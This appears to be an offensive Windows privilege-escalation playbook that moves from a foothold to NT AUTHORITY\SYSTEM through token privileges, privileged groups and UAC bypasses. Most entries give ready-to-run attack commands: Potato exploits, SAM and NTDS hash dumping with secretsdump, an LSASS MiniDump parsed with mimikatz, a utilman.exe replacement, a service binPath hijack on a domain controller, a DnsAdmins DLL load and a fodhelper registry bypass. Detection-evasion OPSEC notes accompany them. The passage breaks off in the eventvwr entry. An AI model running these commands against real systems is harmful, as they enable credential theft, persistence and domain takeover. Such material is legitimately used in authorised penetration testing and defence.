From a foothold to NT AUTHORITY\SYSTEM: token privileges (SeImpersonate, Potato), UAC bypass, service and DLL misconfigurations, unquoted paths, stored credentials, privileged groups, and defense evasion (AMSI, EDR, AppLocker).
Privileged Users
Privileged Users
Understand the privileges and group information in a Windows access token.
A Windows access token records account identity, group information, and privileges. Privileges authorize system operations; object access rights concern permissions on individual resources. A privilege can be present in a token without being enabled. These distinctions matter when describing an account: a group name and a privilege name represent different parts of the security context.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in the identity, permissions, and audit-policy explanation. Excludes commands, tools, prerequisites, applicability, connection outcomes, route viability, and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: Applicability has not been documented for this entry.
Reviewed claims
An access token records account identity, group information, and privileges.
Microsoft, Access tokens — Access token contents
Windows distinguishes privileges for system operations from access rights on securable objects.
Microsoft, Privileges — Privilege/access-right distinction; access-token checks
Privilege checks consider whether a required privilege is held and enabled.
Microsoft, Privileges — Privilege/access-right distinction; access-token checks
References
category Token Privileges
System privileges carried by a Windows access token.
An access token describes a process or thread's security context. It includes account and group identifiers and assigned privileges. Privileges authorize system operations and differ from object access rights. Windows checks both possession and enabled state when an operation requires a privilege; assignments can differ between computers.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
Access tokens carry identity, group membership, and privilege information for a process or thread.
Microsoft, Access tokens — Introduction; Access token contents
System privileges and object access rights are distinct authorization concepts.
Microsoft, Privileges — Introduction: privileges versus access rights; privilege assignment and checks
Privilege checks consider whether a privilege is held and enabled; assignments are local to each computer.
Microsoft, Privileges — Introduction: privileges versus access rights; privilege assignment and checks
References
category Local Group Membership
How group identities participate in Windows access checks.
Windows uses group security identifiers in an access token when evaluating an object's discretionary access control list (DACL). Group identifiers can be enabled, disabled, or deny-only. A group name alone does not describe the access a process receives: the token attributes, requested rights, and object permissions matter.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
DACL evaluation compares access-control entries with identities in the requesting security context.
Microsoft, How AccessCheck Works — DACLs
Enabled, disabled, and deny-only group identifiers have different roles in access checks.
Microsoft, SID Attributes in an Access Token — Attribute table: SE_GROUP_ENABLED and SE_GROUP_USE_FOR_DENY_ONLY
References
SeImpersonate / SeAssignPrimaryToken
Hold an impersonation privilege, then pick a Potato variant by Windows build.
Service accounts (IIS, MSSQL, a relayed login) and many others hold SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. The "Potato" family coerces a SYSTEM-level authentication or RPC call and impersonates the returned token to run code as NT AUTHORITY\SYSTEM. Every variant needs the same privilege; what changes is the coercion trick, which Microsoft has patched piecemeal. Confirm the privilege, then choose the variant that fits the target build and the services it is running.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: The privilege exists on every version; the working tool is build-specific. JuicyPotato up to Win10 1803 / Server 2016, RoguePotato for 1809 / Server 2019 and later, PrintSpoofer for 1809 / Server 2019 and later where the Print Spooler service is running (often disabled post-PrintNightmare, so lean on RoguePotato/GodPotato for Server 2022+), GodPotato across Windows 8 to 11 and Server 2012 to 2022.
Requires
- SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
Example commands
# Confirm the privilege
whoami /priv
References
OPSEC / detection: Potato binaries are heavily signatured by EDR/AV, and each variant has its own tell: RoguePotato produces outbound TCP/135 to a redirector; PrintSpoofer opens the local \pipe\spoolss named pipe (no 135 traffic); JuicyPotato/GodPotato do local DCOM activation.
JuicyPotato
Abuse a SYSTEM DCOM/BITS CLSID for a SYSTEM token (legacy, pre-1809).
The classic local-only Potato, a more flexible RottenPotatoNG that lets you pick any SYSTEM DCOM CLSID. Abuse a SYSTEM-owned DCOM server (BITS and others) by pointing its OXID resolution at a local listener, capture the SYSTEM NTLM authentication, and impersonate it. Needs a CLSID that runs as SYSTEM on the target build; the project ships a per-OS CLSID list. No network egress, so it is still the first pick on older hosts.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 7 through 10 1803 and Server 2008 through 2016. Broke on Windows 10 1809 / Server 2019, where the DCOM OXID resolver change removed the local trick.
Requires
- SeImpersonate or SeAssignPrimaryToken
- A DCOM CLSID that runs as SYSTEM on the target build
Example commands
# Run with a SYSTEM CLSID for the OS
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}
Tools
References
OPSEC / detection: A fake DCOM/OXID listener on a local port plus a burst of local NTLM is detectable, and the binary is widely signatured.
PrintSpoofer
Coerce the Print Spooler over a named pipe for a SYSTEM token.
itm4n's replacement for JuicyPotato on 1809 and later. Make the Print Spooler service connect to a named pipe you control, then impersonate the SYSTEM token that arrives. Entirely local with no network redirector, which makes it the simplest option when the Spooler is running.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 10/11 and Server 2016 to 2022 wherever the Print Spooler service runs. Fails when Spooler is disabled, which is common post-PrintNightmare hardening.
Requires
- SeImpersonatePrivilege (PrintSpoofer checks/enables only this; a SeAssignPrimaryToken-only host needs a different primitive)
- Print Spooler service running
Example commands
# SYSTEM shell via the Spooler pipe
PrintSpoofer.exe -i -c cmd.exe
Tools
References
OPSEC / detection: Named-pipe Spooler coercion and the binary are signatured; many hardened hosts disable the Spooler entirely.
RoguePotato
Redirect the DCOM OXID resolver to a remote listener (post-1809).
Revives the JuicyPotato approach on builds where the local OXID trick was patched. Point DCOM OXID resolution at a remote redirector on port 135, which forwards back to a local socket, capture the SYSTEM authentication, and impersonate it. The remote port-135 requirement is its main constraint.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 10 1809 and later, Server 2019 and later. Needs a machine you control reachable on port 135 to host the OXID redirector.
Requires
- SeImpersonate or SeAssignPrimaryToken
- A redirector reachable on port 135
Example commands
# On your redirector (forward 135 to the target)
socat tcp-listen:135,reuseaddr,fork tcp:<target>:9999
# On the target
RoguePotato.exe -r <redirector_ip> -e "cmd.exe" -l 9999
Tools
References
OPSEC / detection: Outbound 135 to an external host is unusual on a workstation and stands out; the binary is signatured.
GodPotato
rpcss OXID flaw covering Windows 8 to 11 and Server 2012 to 2022.
A DCOM-based coercion that abuses how the rpcss service handles OXID resolution, working across nearly every supported build with no network redirector and no Print Spooler dependency. Ship the .NET-version-matched binary (NET2 / NET35 / NET4) for the target.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 8 through 11 and Server 2012 through 2022, per the project. Local-only, with no redirector or Spooler dependency, which makes it the current default.
Requires
- SeImpersonate or SeAssignPrimaryToken
- A matching .NET runtime on the host
Example commands
# SYSTEM command (match .NET to the host)
GodPotato-NET4.exe -cmd "cmd /c whoami"
Tools
References
OPSEC / detection: DCOM activation plus a local NTLM coercion; the binary is signatured, though the local-only footprint is quieter than RoguePotato.
SeBackup / SeRestore
Distinguish the Windows rights for backup and restoration.
SeBackupPrivilege and SeRestorePrivilege are separate Windows user rights. Microsoft associates the first with system backup and the second with restoring backed-up files and directories. Their administrative purposes should be distinguished when describing a security configuration.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual Windows privilege definitions and distinctions among privilege assignments, account identity, ownership, driver signing and mandatory integrity. Sources include explicitly labeled archived policy references. Excludes commands, tools, prerequisites, exploit mechanics, applicability, default account assignments, connection outcomes, route viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions (privilege model).
Reviewed claims
SeBackupPrivilege is the Windows user right associated with backing up the system.
Microsoft — Back up files and directories (archived policy reference) — Reference
SeRestorePrivilege is the Windows user right associated with restoring backed-up files and directories.
Microsoft — Restore files and directories (archived policy reference) — Reference
Requires
- SeBackupPrivilege (and SeRestorePrivilege for write paths; robocopy /b on the DC path needs both, so with only SeBackup use Copy-FileSeBackupPrivilege (giuliano108) instead)
Example commands
# Copy SAM + SYSTEM hives
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive
# Extract hashes offline
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
# DC path: parse ntds.dit with the SYSTEM hive
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
Tools
References
OPSEC / detection: reg save / diskshadow scripts / VSS snapshot creation are detectable. The privilege may need explicit enabling in the token first.
SeDebug
Understand debugging privileges and process security context.
SeDebugPrivilege corresponds to the Windows Debug programs user right. Microsoft describes it as relevant to debugging system components. A process's access token records its user identity, groups and privileges as distinct information. A debugging privilege and an account identity therefore need separate descriptions.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual Windows privilege definitions and distinctions among privilege assignments, account identity, ownership, driver signing and mandatory integrity. Sources include explicitly labeled archived policy references. Excludes commands, tools, prerequisites, exploit mechanics, applicability, default account assignments, connection outcomes, route viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions; on modern builds LSASS may be PPL-protected or Credential Guard-enabled, needing an extra bypass.
Reviewed claims
Microsoft identifies Debug programs as the SeDebugPrivilege user right and describes its use when debugging system components.
Microsoft — Debug programs (archived policy reference) — Reference
A Windows access token contains the user SID, group SIDs and a list of privileges.
Microsoft — Access Tokens — Access token contents
Requires
- SeDebugPrivilege (effectively admin/SYSTEM-equivalent)
Example commands
# comsvcs MiniDump (LOLBAS)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\Temp\lsass.dmp full
# Parse offline with mimikatz
sekurlsa::minidump C:\Temp\lsass.dmp
sekurlsa::logonpasswords
Tools
References
OPSEC / detection: LSASS handle opens (esp. by rundll32/procdump) are top-tier EDR detections.
SeTakeOwnership
Understand object ownership and its security descriptor.
SeTakeOwnershipPrivilege corresponds to the Windows user right for taking ownership of securable objects. A security descriptor can record an object's owner together with discretionary and system access-control lists. The owner field and the access-control lists are distinct parts of that security information.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual Windows privilege definitions and distinctions among privilege assignments, account identity, ownership, driver signing and mandatory integrity. Sources include explicitly labeled archived policy references. Excludes commands, tools, prerequisites, exploit mechanics, applicability, default account assignments, connection outcomes, route viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions (privilege model).
Reviewed claims
The Take ownership of files or other objects user right corresponds to SeTakeOwnershipPrivilege.
Microsoft — Take ownership of files or other objects (archived policy reference) — Reference
A Windows security descriptor can record owner and group SIDs, a discretionary access-control list and a system access-control list.
Microsoft — Security Descriptors — Opening definition and security-information list
Requires
- SeTakeOwnershipPrivilege
- Ability to reach the logon screen (for the utilman/sethc trigger)
Example commands
# Take ownership + grant write
takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant "%USERNAME%":F
# Replace with cmd, trigger at lock screen
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Tools
References
OPSEC / detection: Replacing utilman.exe / sethc.exe is a well-known IOC. Back up and restore the original to avoid breaking accessibility.
SeLoadDriver
Distinguish driver-loading permission from code-signing policy.
SeLoadDriverPrivilege is associated with dynamically loading and unloading device drivers. Windows separately documents digital-signature requirements for kernel-mode drivers. The user right and the signature requirements describe different parts of driver security; a privilege name alone is not a description of the complete driver policy.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual Windows privilege definitions and distinctions among privilege assignments, account identity, ownership, driver signing and mandatory integrity. Sources include explicitly labeled archived policy references. Excludes commands, tools, prerequisites, exploit mechanics, applicability, default account assignments, connection outcomes, route viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All versions if held. The Microsoft driver-blocklist is default-on only from Windows 11 22H2; elsewhere (stock Windows 10, Server 2022) it depends on HVCI/memory-integrity being enabled, and without it blocklisted drivers like Capcom.sys still load. Where active, HVCI and the blocklist block most vulnerable drivers.
Reviewed claims
SeLoadDriverPrivilege corresponds to the user right for dynamically loading and unloading device drivers.
Microsoft — Load and unload device drivers (archived policy reference) — Reference
Microsoft documents digital-signature requirements for kernel-mode drivers.
Microsoft — Kernel-Mode Code Signing Requirements — Opening signing requirements and policy sections
Requires
- SeLoadDriverPrivilege (held by e.g. Print Operators)
Example commands
# Register + load the driver
EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Temp\Capcom.sys
# Exploit the loaded driver for kernel exec -> SYSTEM
ExploitCapcom.exe
Tools
References
OPSEC / detection: Loading a known-vulnerable driver is heavily flagged; modern Windows + HVCI / driver blocklist may refuse the load.
SeManageVolume
Understand the user right for volume-maintenance tasks.
SeManageVolumePrivilege corresponds to Perform volume maintenance tasks. The Microsoft policy reference describes volume and disk management, including volume creation or removal and defragmentation. Windows privileges are local to a computer; the same domain account can have different privilege assignments on different computers.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual Windows privilege definitions and distinctions among privilege assignments, account identity, ownership, driver signing and mandatory integrity. Sources include explicitly labeled archived policy references. Excludes commands, tools, prerequisites, exploit mechanics, applicability, default account assignments, connection outcomes, route viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions (privilege model).
Reviewed claims
The SeManageVolumePrivilege policy reference covers volume and disk maintenance, including creating or removing volumes and defragmentation.
Microsoft — Perform volume maintenance tasks (archived policy reference) — Reference
Windows privileges apply to the local computer, and a domain account can have different privileges on different computers.
Microsoft — Privileges — Local account database and access token scope
Requires
- SeManageVolumePrivilege
- A SYSTEM process that loads a writable/missing DLL to trigger
Example commands
# Grant write over C:\ (then DLL hijack)
SeManageVolumeExploit.exe
Tools
References
OPSEC / detection: Writing a DLL into System32 and forcing a SYSTEM load is detectable (image-load + file-create in System32). The exploit re-ACLs C:\ to grant the Users group (every local user) full control, a persistent, drive-wide DACL change that is a durable IOC and a security downgrade left behind; revert it afterward.
SeTrustedCredManAccess
Understand Credential Manager's trusted-caller privilege.
SeTrustedCredManAccessPrivilege is the user right named Access Credential Manager as a trusted caller. Microsoft's archived policy reference associates this setting with Credential Manager backup and restoration. That reference recommends leaving the policy at its default. These statements describe the documented purpose and recommendation, without asserting a current account assignment.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual Windows privilege definitions and distinctions among privilege assignments, account identity, ownership, driver signing and mandatory integrity. Sources include explicitly labeled archived policy references. Excludes commands, tools, prerequisites, exploit mechanics, applicability, default account assignments, connection outcomes, route viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions if the privilege is held (Winlogon and LSASS by default; rarely delegated).
Reviewed claims
The archived Microsoft policy reference associates SeTrustedCredManAccessPrivilege with Credential Manager backup and restoration.
Microsoft — Access Credential Manager as a trusted caller (archived policy reference) — Reference
The archived Microsoft policy reference recommends leaving the trusted-caller policy at its default.
Microsoft — Access Credential Manager as a trusted caller (archived policy reference) — Best practices
Requires
- SeTrustedCredManAccessPrivilege in the token
- An elevated/local-admin context to borrow Winlogon's token (no unprivileged user holds this privilege directly)
Tools
References
OPSEC / detection: Rarely granted outside Winlogon; CredBackupCredentials while impersonating Winlogon is an unusual, detectable call sequence.
SeCreateToken
Understand token creation as a Windows security operation.
SeCreateTokenPrivilege corresponds to the Create a token object user right. An access token describes the security context of a process or thread, including identity and privileges. The privilege associated with token creation and the security information represented by a token are separate concepts.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual Windows privilege definitions and distinctions among privilege assignments, account identity, ownership, driver signing and mandatory integrity. Sources include explicitly labeled archived policy references. Excludes commands, tools, prerequisites, exploit mechanics, applicability, default account assignments, connection outcomes, route viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions when the privilege is held (very rarely granted to a non-SYSTEM account).
Reviewed claims
SeCreateTokenPrivilege corresponds to the Create a token object user right.
Microsoft — Create a token object (archived policy reference) — Reference and constant name
An access token describes the security context of a Windows process or thread.
Microsoft — Access Tokens — Opening definition
Requires
- SeCreateTokenPrivilege in the token
Example commands
# Confirm the privilege
whoami /priv
# Forge an Administrators token, then impersonate it
:: build and run the SeCreateTokenPrivilegePoC from daem0nc0re/PrivFu
Tools
References
OPSEC / detection: A process other than LSASS calling NtCreateToken, then impersonating a token carrying an added Administrators SID, is anomalous and detectable.
SeTcb
Understand the right associated with trusted authentication services.
SeTcbPrivilege corresponds to Act as part of the operating system. Microsoft's archived policy reference describes low-level authentication services as the typical users of this right. A Windows access token represents user identity, groups and privileges separately; a privilege assignment should not be used as an account name.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual Windows privilege definitions and distinctions among privilege assignments, account identity, ownership, driver signing and mandatory integrity. Sources include explicitly labeled archived policy references. Excludes commands, tools, prerequisites, exploit mechanics, applicability, default account assignments, connection outcomes, route viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions if the privilege is held (very rarely granted).
Reviewed claims
The archived Microsoft policy reference identifies low-level authentication services as the typical users of SeTcbPrivilege.
Microsoft — Act as part of the operating system (archived policy reference) — Reference
A Windows access token records user identity, group membership and privileges as distinct information.
Microsoft — Access Tokens — Access token contents
Requires
- SeTcbPrivilege in the token
Example commands
# No off-the-shelf one-liner: requires custom code calling LsaLogonUser to make and impersonate a token
:: build and run a SeTcb LsaLogonUser PoC (gtworek PsBits)
Tools
References
OPSEC / detection: Rarely granted; abnormal LSA logon calls are detectable.
SeRelabel
Understand mandatory integrity labels and their modification.
SeRelabelPrivilege concerns modification of an object's integrity label. Mandatory Integrity Control is a Windows access-control mechanism that operates in addition to discretionary access-control lists. An integrity label and an object's discretionary permissions are separate security properties.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual Windows privilege definitions and distinctions among privilege assignments, account identity, ownership, driver signing and mandatory integrity. Sources include explicitly labeled archived policy references. Excludes commands, tools, prerequisites, exploit mechanics, applicability, default account assignments, connection outcomes, route viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions if held (almost never granted); needs a High-integrity context.
Reviewed claims
SeRelabelPrivilege corresponds to modifying an object's integrity label.
Microsoft — Modify an object label (archived policy reference) — Reference
Windows Mandatory Integrity Control provides access control in addition to discretionary access-control lists.
Microsoft — Mandatory Integrity Control — Opening definition
Requires
- SeRelabelPrivilege
- High-integrity context
References
OPSEC / detection: A serious misconfiguration if a standard user holds it; taking ownership of a SYSTEM process is a strong detection.
Backup Operators
Group grants SeBackup/SeRestore for reading SAM/NTDS.
Members of the Backup Operators group are granted SeBackupPrivilege and SeRestorePrivilege. Enable them in your token, then read the protected SAM/SYSTEM hives locally and dump the local hashes offline, converging on the same SeBackup/SeRestore tradecraft (the ntds.dit-on-a-DC path is covered under SeBackup/SeRestore).
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows / Server versions.
Requires
- Membership in Backup Operators
- Privilege present in the token but may need explicit enabling; on interactive logon with UAC/AAM the token can be filtered, so obtain a non-filtered token (e.g. WinRM) or run in an elevated context
Example commands
# Confirm group membership
whoami /groups | findstr /i "Backup"
# Save hives (SeBackup)
reg save HKLM\SAM C:\Temp\sam.hive & reg save HKLM\SYSTEM C:\Temp\system.hive
Tools
References
OPSEC / detection: The privileges are not enabled by default in a non-elevated token. Same detection profile as SeBackup/SeRestore.
Server Operators
Reconfigure a DC service binPath to run as SYSTEM.
On Domain Controllers, the Server Operators group can manage services. Reconfigure a SYSTEM service binPath to your command and restart it to execute as SYSTEM on the DC, directly compromising the domain.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows Server versions (Domain Controllers).
Requires
- Membership in Server Operators (on a DC)
- Ability to start/stop a target service
Example commands
# Hijack a service binPath (on a DC this grants BUILTIN\Administrators = domain-admin-equivalent)
sc config <svc> binpath= "cmd /c net localgroup administrators <YOUR-DOMAIN-USER> /add"
# Trigger (net.exe is not a service binary, so the start returns error 1053; the command already ran as SYSTEM, this is expected)
sc stop <svc> & sc start <svc>
Tools
References
OPSEC / detection: sc config + service restart on a DC is high-signal. Restore the original binPath afterward.
DnsAdmins
Load a DnsPlugin DLL into the SYSTEM DNS service.
Members of DnsAdmins can set the ServerLevelPluginDll value via dnscmd, pointing the DNS service at a plugin DLL with no path validation. Restarting the DNS service (often on a DC, running as SYSTEM) loads your DLL as SYSTEM. The DLL must be a real DNS plugin: it has to export DnsPluginInitialize / DnsPluginQuery / DnsPluginCleanup (returning 0) and run the payload in a new thread, or dns.exe fails to start and the session dies. A plain msfvenom DLL lacks these exports; use mimilib.dll or a custom DnsPlugin DLL. Highly disruptive: the DNS service may crash.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows Server versions running the DNS role.
Requires
- Membership in DnsAdmins
- Permission to restart the DNS service
Example commands
# Point DNS at a DnsPlugin DLL
dnscmd.exe /config /serverlevelplugindll C:\Temp\mimilib.dll
# Restart DNS to load it (DnsAdmins-native trigger)
dnscmd <server> /restart
# sc.exe restart (only if you hold service-control / local-admin rights)
sc.exe stop dns && sc.exe start dns
Tools
References
OPSEC / detection: ServerLevelPluginDll write under DNS\Parameters and DNS.exe spawning a child are strong detections. Disruptive to AD DNS.
Hyper-V Administrators
Redirect vmms.exe (SYSTEM) file ops via a hardlink to escalate.
Hyper-V Administrators can make vmms.exe, which runs as SYSTEM, perform file operations on paths they otherwise cannot touch. During VM deletion vmms.exe resets the .vhdx permissions with an unimpersonated SetSecurity as SYSTEM; a hardlink redirects that permission-reset so you are granted a full-control DACL over an existing protected file. From there, chain a file-write-to-SYSTEM technique to execute. A hardlink/TOCTOU file-operation abuse of the service, not one specific CVE.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Hosts where Hyper-V Administrators can drive vmms.exe storage operations. The vmms DACL-grant primitive is a by-design won't-fix (Microsoft ruled the group is not a security boundary), so it works wherever the group exists; what is version-gated is the follow-on file-write-to-SYSTEM chain, which later builds mitigate.
Requires
- Membership in Hyper-V Administrators
- A file-write-to-SYSTEM chain (e.g. CVE-2018-0952 / CVE-2019-0841 / DiagHub) available on the target build
References
OPSEC / detection: The vmms DACL grant is by-design and works everywhere the group exists; you still rely on winning a file-operation race against vmms.exe and on a write-to-SYSTEM step that later builds mitigate.
Print Operators
Group holds SeLoadDriverPrivilege; load vulnerable driver.
On a domain controller, the Print Operators group is granted SeLoadDriverPrivilege by default (to install printer drivers); this is not a workstation/member-server default, where "Load and unload device drivers" is assigned to Administrators only and BUILTIN\Print Operators is a DC-scoped, effectively-empty group. Where held, it is the precondition for the SeLoadDriver → BYOVD path: load a known-vulnerable signed driver and exploit it for kernel-mode code execution as SYSTEM.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Group right is version-independent, but since Windows 10 1803 NtLoadDriver forbids driver-config registry references under HKEY_CURRENT_USER (exactly what the vanilla EoPLoadDriver flow creates), so the plain technique fails by default on 1803+ and needs a bypass. On modern builds the follow-on driver load is further limited by HVCI / driver blocklist, and drivers other than the deny-listed Capcom.sys are required.
Requires
- Membership in Print Operators (grants SeLoadDriverPrivilege)
Example commands
# Confirm group + privilege
whoami /groups | findstr /i Print
whoami /priv | findstr /i SeLoadDriver
Tools
References
OPSEC / detection: Same as the SeLoadDriver path: driver-load events and the driver blocklist / HVCI may block it.
Event Log Readers
Read Security / PowerShell logs for leaked credentials.
Membership in Event Log Readers grants read access to the restricted Security event log; the PowerShell-Operational log is separately readable by any interactive user by default, so it is worth checking even without the group. Where process-creation auditing AND the "Include command line in process creation events" policy, or PowerShell script-block / module logging, are enabled, those logs frequently contain credentials passed on command lines or embedded in scripts. Harvest them and reuse the account.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows / Server versions (depends on logging configuration).
Requires
- Membership in Event Log Readers
- Credentials actually present in logged events
Example commands
# Search the Security log for passwords
wevtutil qe Security /f:text /rd:true /c:200 | findstr /i "password pass"
Tools
References
OPSEC / detection: Read-only and quiet; success depends entirely on whether logging captured a secret.
Account Operators
Take over non-protected accounts; log on to DCs.
On a domain controller, Account Operators can create and modify users and groups that are NOT AdminSDHolder-protected (Domain Admins, the Operators groups, etc. are off-limits), and may log on locally to DCs. The path is indirect: reset the password of, or add yourself to, a delegated non-protected account or group that holds privileges (a custom admin group, an account with DCSync/GPO rights), then use those, rather than joining a protected group directly.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows Server versions (Active Directory).
Requires
- Membership in Account Operators
- A privileged NON-protected account or group to take over
Example commands
# Reset a non-protected user's password
net user <user> <NewPass> /domain
# Add yourself to a delegated non-protected group
net group "<Group>" <you> /add /domain
# ADModule equivalents
Set-ADAccountPassword -Identity <user> -Reset -NewPassword (ConvertTo-SecureString "<NewPass>" -AsPlainText -Force)
Add-ADGroupMember -Identity "<Group>" -Members <you>
Tools
References
OPSEC / detection: Password resets and group changes (Event ID 4724/4728/4732) are high-fidelity, and this is a domain-level change.
Administrators (Filtered Token)
Understand deny-only group SIDs and the UAC token model.
A deny-only group SID participates in access-denied checks but does not grant access through access-allowed entries. Its presence in a token therefore does not confer that group's allowed permissions. In UAC Admin Approval Mode, an administrator's standard and administrative tokens are distinct; elevation uses the administrative token. Account membership and the current process token need to be described separately.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in the identity, permissions, and audit-policy explanation. Excludes commands, tools, prerequisites, applicability, connection outcomes, route viability, and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions with UAC enabled.
Reviewed claims
A deny-only SID is considered for access-denied entries and ignored for access-allowed entries.
Microsoft, SID Attributes in an Access Token — SE_GROUP_USE_FOR_DENY_ONLY
The UAC model uses separate standard and administrative access tokens for an administrator in Admin Approval Mode.
Microsoft, How User Account Control works — Sign in process; The UAC user experience
Requires
- Membership in local Administrators with a UAC-filtered token
References
OPSEC / detection: No action by itself; it routes to the UAC-bypass / admin-to-SYSTEM techniques.
Admin Users
Admin Users
Distinguish administrator membership from the token used by an application.
An Administrators-group member can run ordinary applications with a standard user token. In the UAC Admin Approval Mode model, Windows provides separate standard and administrator tokens. Elevation uses an administrator token, and the consent or credential prompt is governed by policy. Group membership therefore does not describe the access token used by every application.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in the identity, permissions, and audit-policy explanation. Excludes commands, tools, prerequisites, applicability, connection outcomes, route viability, and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: Applicability has not been documented for this entry.
Reviewed claims
Under the UAC Admin Approval Mode model, an administrator can run applications with a standard user token; Windows provides separate standard and administrator tokens.
Microsoft, How User Account Control works — Sign in process; The UAC user experience
UAC uses consent or credential prompts for elevation, with prompt behavior controlled by policy.
Microsoft, How User Account Control works — The UAC user experience; The credential prompt
References
category UAC Bypass
Understand filtered administrator tokens and UAC elevation.
Under UAC Admin Approval Mode, an administrator has a standard user token and an administrator token. The standard token filters administrative privileges and security identifiers for everyday applications. Using the full administrator token follows the configured elevation policy. Standard users can perform an administrative task by supplying valid administrator credentials when the policy permits it.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
The administrator sign-in model uses separate standard and administrator tokens; the standard token filters administrative privileges and security identifiers.
Microsoft, How User Account Control works — Sign in process
UAC distinguishes administrator consent from a standard user supplying administrator credentials, with prompt behavior controlled by policy.
Microsoft, How User Account Control works — The UAC user experience; The credential prompt; The consent prompt
References
category Elevate to SYSTEM
Distinguish LocalSystem from an interactive administrator account.
LocalSystem is a predefined account used by the service control manager and has extensive privileges on the local computer. It is not associated with a logged-on user account. Windows access tokens identify the account, groups, and privileges associated with a process or thread; LocalSystem describes an account identity, rather than a new name for an interactive administrator.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
LocalSystem is a predefined service-control-manager account with extensive local privileges and is not associated with a logged-on user account.
Microsoft, LocalSystem Account — Introduction
Access tokens contain account and group security identifiers and the account's privileges.
Microsoft, Access Tokens — Access token contents
References
Fodhelper
Auto-elevate fodhelper via an HKCU ms-settings handler.
fodhelper.exe auto-elevates and reads HKCU\Software\Classes\ms-settings\shell\open\command (with DelegateExecute). Plant your command there and run fodhelper to execute at High integrity with no UAC prompt. Elevates an existing admin to High integrity; it does not turn a standard user into admin.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 10 (all builds) and Windows 11 through 24H2, plus Server 2016 and later. Unpatched per UACME (method 33, works from build 10240); the most reliable registry-handler UAC bypass.
Requires
- Member of local Administrators running at Medium integrity (default UAC)
Example commands
# Set the hijack key
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
# Trigger elevation
fodhelper.exe
# Clean up the signatured key afterward
reg delete "HKCU\Software\Classes\ms-settings" /f
Tools
References
OPSEC / detection: The HKCU ms-settings shell-open-command key + fodhelper spawning cmd is a widely-signatured detection. Clean up the key afterward.
Event Viewer (eventvwr)
Hijack the mscfile handler eventvwr.exe auto-elevates.
eventvwr.exe is an auto-elevating Microsoft-signed binary that opens its .msc snap-in via the HKCU\Software\Classes\mscfile\shell\open\command handler, which is checked before the HKCR (system-wide) one and never validated. A medium-integrity admin can point that key at an arbitrary command; launching eventvwr.exe then runs it at High integrity with no UAC prompt (default UAC level; not "Always Notify").
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
